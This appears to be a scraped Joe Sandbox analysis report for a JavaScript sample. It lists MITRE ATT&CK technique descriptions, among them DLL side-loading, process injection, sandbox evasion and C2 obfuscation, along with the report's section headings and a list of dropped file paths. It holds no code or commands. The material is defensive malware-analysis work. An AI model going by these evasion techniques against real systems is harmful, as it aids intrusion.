Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 551753881921117607.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\35e7f512-4300-494b-9538-1b034a2958c2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.320

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
551753881921117607.js